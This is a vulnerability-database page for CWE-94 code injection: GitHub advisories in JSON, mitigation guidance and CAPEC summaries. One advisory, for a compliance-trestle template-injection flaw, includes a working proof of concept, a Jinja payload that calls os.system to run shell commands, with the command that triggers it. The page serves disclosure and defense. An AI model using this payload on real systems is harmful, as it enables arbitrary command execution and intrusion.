CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8268 vulnerabilities reference this CWE, most recent first.
GHSA-GFMP-6WVC-G9JJ
Vulnerability from github – Published: 2022-05-01 18:01 – Updated: 2022-05-01 18:01PHP remote file inclusion vulnerability in lib/pcltar.lib.php (aka pcltar.php) in the PclTar module 1.3 and 1.3.1 for Vincent Blavet PhpConcept Library, as used in multiple products including (1) Joomla! 1.5.0 Beta, (2) N/X Web Content Management System (WCMS) 4.5, (3) CJG EXPLORER PRO 3.3, and (4) phpSiteBackup 0.1, allows remote attackers to execute arbitrary PHP code via a URL in the g_pcltar_lib_dir parameter.
{
"affected": [],
"aliases": [
"CVE-2007-2199"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-04-24T20:19:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in lib/pcltar.lib.php (aka pcltar.php) in the PclTar module 1.3 and 1.3.1 for Vincent Blavet PhpConcept Library, as used in multiple products including (1) Joomla! 1.5.0 Beta, (2) N/X Web Content Management System (WCMS) 4.5, (3) CJG EXPLORER PRO 3.3, and (4) phpSiteBackup 0.1, allows remote attackers to execute arbitrary PHP code via a URL in the g_pcltar_lib_dir parameter.",
"id": "GHSA-gfmp-6wvc-g9jj",
"modified": "2022-05-01T18:01:07Z",
"published": "2022-05-01T18:01:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2199"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33837"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/34273"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35092"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/3781"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/3915"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4111"
},
{
"type": "WEB",
"url": "http://osvdb.org/34803"
},
{
"type": "WEB",
"url": "http://osvdb.org/36009"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25230"
},
{
"type": "WEB",
"url": "http://www.attrition.org/pipermail/vim/2007-May/001618.html"
},
{
"type": "WEB",
"url": "http://www.hackers.ir/advisories/joomla.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/466687/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/478503/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/23613"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/23708"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/24660"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25528"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/1511"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFQW-7Q63-8QV4
Vulnerability from github – Published: 2022-05-17 05:08 – Updated: 2022-05-17 05:08The web framework in IronPort AsyncOS on Cisco Web Security Appliance devices before 7.1.3-013, 7.5 before 7.5.0-838, and 7.7 before 7.7.0-550 allows remote authenticated users to execute arbitrary commands via crafted command-line input in a URL sent over IPv4, aka Bug ID CSCzv69294.
{
"affected": [],
"aliases": [
"CVE-2013-3383"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-06-27T21:55:00Z",
"severity": "HIGH"
},
"details": "The web framework in IronPort AsyncOS on Cisco Web Security Appliance devices before 7.1.3-013, 7.5 before 7.5.0-838, and 7.7 before 7.7.0-550 allows remote authenticated users to execute arbitrary commands via crafted command-line input in a URL sent over IPv4, aka Bug ID CSCzv69294.",
"id": "GHSA-gfqw-7q63-8qv4",
"modified": "2022-05-17T05:08:11Z",
"published": "2022-05-17T05:08:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3383"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130626-wsa"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFWF-X23P-XH3Q
Vulnerability from github – Published: 2024-12-06 00:31 – Updated: 2024-12-18 18:30Buffer Overflow vulnerability in Open Robotics Robotic Operating System 2 (ROS2) navigation2- ROS2-humble and navigation 2-humble allows a local attacker to execute arbitrary code via the nav2_amcl process
{
"affected": [],
"aliases": [
"CVE-2024-30962"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-05T23:15:05Z",
"severity": "HIGH"
},
"details": "Buffer Overflow vulnerability in Open Robotics Robotic Operating System 2 (ROS2) navigation2- ROS2-humble and navigation 2-humble allows a local attacker to execute arbitrary code via the nav2_amcl process",
"id": "GHSA-gfwf-x23p-xh3q",
"modified": "2024-12-18T18:30:50Z",
"published": "2024-12-06T00:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30962"
},
{
"type": "WEB",
"url": "https://github.com/ros-planning/navigation2/issues/4177"
},
{
"type": "WEB",
"url": "https://github.com/ros-planning/navigation2/pull/4206"
},
{
"type": "WEB",
"url": "https://github.com/GoesM/ROS-CVE-CNVDs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GFXP-4G99-RQP6
Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28The Microsoft VFP_OLE_Server ActiveX control allows remote attackers to execute arbitrary code by invoking the foxcommand method.
{
"affected": [],
"aliases": [
"CVE-2008-0235"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-11T02:46:00Z",
"severity": "HIGH"
},
"details": "The Microsoft VFP_OLE_Server ActiveX control allows remote attackers to execute arbitrary code by invoking the foxcommand method.",
"id": "GHSA-gfxp-4g99-rqp6",
"modified": "2022-05-01T23:28:31Z",
"published": "2022-05-01T23:28:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0235"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39559"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4875"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0801-exploits/msvfpole-exec.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28417"
},
{
"type": "WEB",
"url": "http://shinnai.altervista.org/exploits/txt/TXT_rNowA1916DKFNUF48NyS.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27199"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFXQ-2465-PCWR
Vulnerability from github – Published: 2022-05-17 04:49 – Updated: 2022-05-17 04:49Citrix NetScaler Application Delivery Controller (ADC) 9.3.x before 9.3-64.4, 10.0 before 10.0-77.5, and 10.1 before 10.1-118.7 allows remote attackers to conduct an LDAP injection attack via vectors related to SSH and Web management usernames.
{
"affected": [],
"aliases": [
"CVE-2013-6943"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-11T13:00:00Z",
"severity": "MODERATE"
},
"details": "Citrix NetScaler Application Delivery Controller (ADC) 9.3.x before 9.3-64.4, 10.0 before 10.0-77.5, and 10.1 before 10.1-118.7 allows remote attackers to conduct an LDAP injection attack via vectors related to SSH and Web management usernames.",
"id": "GHSA-gfxq-2465-pcwr",
"modified": "2022-05-17T04:49:55Z",
"published": "2022-05-17T04:49:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6943"
},
{
"type": "WEB",
"url": "http://support.citrix.com/article/CTX139049"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GG23-W2RG-QJ4Q
Vulnerability from github – Published: 2024-07-18 09:30 – Updated: 2024-08-01 15:32Vulnerability in SonicWall NetExtender Windows (32 and 64-bit) client 10.2.339 and earlier versions allows an attacker to arbitrary code execution when processing an EPC Client update.
{
"affected": [],
"aliases": [
"CVE-2024-29014"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-18T08:15:02Z",
"severity": "HIGH"
},
"details": "Vulnerability in SonicWall NetExtender Windows (32 and 64-bit) client 10.2.339 and earlier versions allows an attacker to arbitrary code execution when processing an EPC Client update.",
"id": "GHSA-gg23-w2rg-qj4q",
"modified": "2024-08-01T15:32:05Z",
"published": "2024-07-18T09:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29014"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GG2G-P7XC-QQMM
Vulnerability from github – Published: 2026-05-28 19:01 – Updated: 2026-05-28 19:01A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).
The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.
This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.
The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.
Details
In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:
@staticmethod
def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
new_output = template.render(**lut)
output = ''
error_countdown = JinjaCmd.max_recursion_depth
while new_output != output and error_countdown > 0:
error_countdown = error_countdown - 1
output = new_output
random_name = uuid.uuid4()
dict_loader = DictLoader({str(random_name): new_output})
# jinja_env does not use SandboxedEnvironment
jinja_env = Environment(
loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
extensions=extensions(),
autoescape=True,
trim_blocks=True
)
template = jinja_env.get_template(str(random_name))
new_output = template.render(**lut)
return output
When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.
PoC (Proof of Concept)
The vulnerability survives even when the template itself is fully trusted and static.
Tested on Jinja2 version 3.1.6.
- Create a fully trusted template (
template.j2) that simply renders a data variable from an external SSP model:
Title: {{ ssp.metadata.title }}
- Generate a malicious OSCAL SSP document (
system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:
{
"system-security-plan": {
"uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70",
"metadata": {
"title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
"last-modified": "2024-01-01T00:00:00+00:00",
"version": "1.0",
"oscal-version": "1.0.4"
},
"import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
}
}
- Execute the
trestle author jinjacommand against the malicious data:
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp
(Note: A similar payload injected via the -lut yaml argument yields identical results.)
- Verify arbitrary command execution:
ls poc.txt
# The file poc.txt is successfully created on the filesystem.
An attacker can also execute arbitrary shell commands directly, e.g.:
"title": "{{ namespace.__init__.__globals__.os.system('id') }}",
Impact
This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46439"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T19:01:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A High severity Server-Side Template Injection (SSTI) vulnerability exists in the `trestle author jinja` command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).\n\n**The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.** \n\nThis distinction is critical: the template author may only intend to render plain text (e.g., `Title: {{ ssp.metadata.title }}`), but because of the recursive parsing, the data field itself becomes executable. \n\nThe vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.\n\n## Details\nIn `trestle/core/commands/author/jinja.py`, the `render_template` method performs recursive template evaluation to allow nesting within expressions:\n\n```python\n @staticmethod\n def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -\u003e str:\n new_output = template.render(**lut)\n output = \u0027\u0027\n error_countdown = JinjaCmd.max_recursion_depth\n while new_output != output and error_countdown \u003e 0:\n error_countdown = error_countdown - 1\n output = new_output\n random_name = uuid.uuid4()\n dict_loader = DictLoader({str(random_name): new_output})\n # jinja_env does not use SandboxedEnvironment\n jinja_env = Environment(\n loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),\n extensions=extensions(),\n autoescape=True,\n trim_blocks=True\n )\n template = jinja_env.get_template(str(random_name))\n new_output = template.render(**lut)\n return output\n```\n\nWhen a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker\u0027s string is injected into the output. During the next pass of the `while` loop, this output is loaded into a new `Environment` via `DictLoader` and rendered again. Because `jinja_env` does not use `SandboxedEnvironment`, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.\n\n## PoC (Proof of Concept)\nThe vulnerability survives even when the template itself is fully trusted and static. \nTested on `Jinja2` version `3.1.6`.\n\n1. Create a fully trusted template (`template.j2`) that simply renders a data variable from an external SSP model:\n```jinja2\nTitle: {{ ssp.metadata.title }}\n```\n\n2. Generate a malicious OSCAL SSP document (`system-security-plans/malicious_ssp/system-security-plan.json`) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:\n```json\n{\n \"system-security-plan\": {\n \"uuid\": \"208dbe11-e6e2-411a-af18-095cd17a6a70\",\n \"metadata\": {\n \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027touch poc.txt\u0027) }}\",\n \"last-modified\": \"2024-01-01T00:00:00+00:00\",\n \"version\": \"1.0\",\n \"oscal-version\": \"1.0.4\"\n },\n \"import-profile\": { \"href\": \"trestle://profiles/test_profile/profile.json\" }\n }\n}\n```\n\n3. Execute the `trestle author jinja` command against the malicious data:\n```bash\ntrestle author jinja -i template.j2 -o out.md -ssp malicious_ssp\n```\n*(Note: A similar payload injected via the `-lut` yaml argument yields identical results.)*\n\n4. Verify arbitrary command execution:\n```bash\nls poc.txt\n# The file poc.txt is successfully created on the filesystem.\n```\n\nAn attacker can also execute arbitrary shell commands directly, e.g.:\n```json\n \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027id\u0027) }}\",\n```\n\n## Impact\nThis vulnerability allows arbitrary command execution with the privileges of the running process. If `compliance-trestle` is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.",
"id": "GHSA-gg2g-p7xc-qqmm",
"modified": "2026-05-28T19:01:38Z",
"published": "2026-05-28T19:01:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-gg2g-p7xc-qqmm"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)"
}
GHSA-GG36-9346-9QX9
Vulnerability from github – Published: 2022-05-17 04:58 – Updated: 2023-08-29 18:15phpMyAdmin 3.5.x before 3.5.8 and 4.x before 4.0.0-rc3, when a SaveDir directory is configured, allows remote authenticated users to execute arbitrary code by using a double extension in the filename of an export file, leading to interpretation of this file as an executable file by the Apache HTTP Server, as demonstrated by a .php.sql filename.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "3.5.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-3239"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-29T18:15:55Z",
"nvd_published_at": "2013-04-26T03:34:00Z",
"severity": "HIGH"
},
"details": "phpMyAdmin 3.5.x before 3.5.8 and 4.x before 4.0.0-rc3, when a SaveDir directory is configured, allows remote authenticated users to execute arbitrary code by using a double extension in the filename of an export file, leading to interpretation of this file as an executable file by the Apache HTTP Server, as demonstrated by a .php.sql filename.",
"id": "GHSA-gg36-9346-9qx9",
"modified": "2023-08-29T18:15:55Z",
"published": "2022-05-17T04:58:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3239"
},
{
"type": "WEB",
"url": "https://github.com/phpmyadmin/phpmyadmin/commit/1f6bc0b707002e26cab216b9e57b4d5de764de48"
},
{
"type": "WEB",
"url": "https://github.com/phpmyadmin/phpmyadmin/commit/d3fafdfba0807068196655e9b6d16c5d1d3ccf8a"
},
{
"type": "PACKAGE",
"url": "https://github.com/phpmyadmin/phpmyadmin"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-May/104725.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-May/104770.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-May/104936.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2013-06/msg00181.html"
},
{
"type": "WEB",
"url": "http://www.phpmyadmin.net/home_page/security/PMASA-2013-3.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyAdmin Remote Code Execution"
}
GHSA-GG68-5JJ6-X44X
Vulnerability from github – Published: 2022-05-01 18:33 – Updated: 2022-05-01 18:33tiki-graph_formula.php in TikiWiki 1.9.8 allows remote attackers to execute arbitrary code via PHP sequences in the f array parameter, which are processed by create_function.
{
"affected": [],
"aliases": [
"CVE-2007-5423"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-12T23:17:00Z",
"severity": "HIGH"
},
"details": "tiki-graph_formula.php in TikiWiki 1.9.8 allows remote attackers to execute arbitrary code via PHP sequences in the f array parameter, which are processed by create_function.",
"id": "GHSA-gg68-5jj6-x44x",
"modified": "2022-05-01T18:33:11Z",
"published": "2022-05-01T18:33:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5423"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37076"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4509"
},
{
"type": "WEB",
"url": "http://bugs.gentoo.org/show_bug.cgi?id=195503"
},
{
"type": "WEB",
"url": "http://osvdb.org/40478"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27190"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27344"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3216"
},
{
"type": "WEB",
"url": "http://securityvulns.ru/Sdocument162.html"
},
{
"type": "WEB",
"url": "http://sourceforge.net/forum/forum.php?forum_id=744898"
},
{
"type": "WEB",
"url": "http://sourceforge.net/project/shownotes.php?release_id=546283\u0026group_id=64258"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-200710-21.xml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/482006/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/482128/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26006"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3492"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GG92-JCH8-J26V
Vulnerability from github – Published: 2024-04-29 18:30 – Updated: 2024-07-03 18:37An issue in hisiphp v2.0.111 allows a remote attacker to execute arbitrary code via a crafted script to the SystemPlugins::mkInfo parameter in the SystemPlugins.php component.
{
"affected": [],
"aliases": [
"CVE-2024-33445"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-29T17:15:19Z",
"severity": "CRITICAL"
},
"details": "An issue in hisiphp v2.0.111 allows a remote attacker to execute arbitrary code via a crafted script to the SystemPlugins::mkInfo parameter in the SystemPlugins.php component.",
"id": "GHSA-gg92-jch8-j26v",
"modified": "2024-07-03T18:37:20Z",
"published": "2024-04-29T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33445"
},
{
"type": "WEB",
"url": "https://github.com/hisiphp/hisiphp/issues/11"
},
{
"type": "WEB",
"url": "https://gist.github.com/LioTree/04a4ece38df53af4027d52b2aeb7aff6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.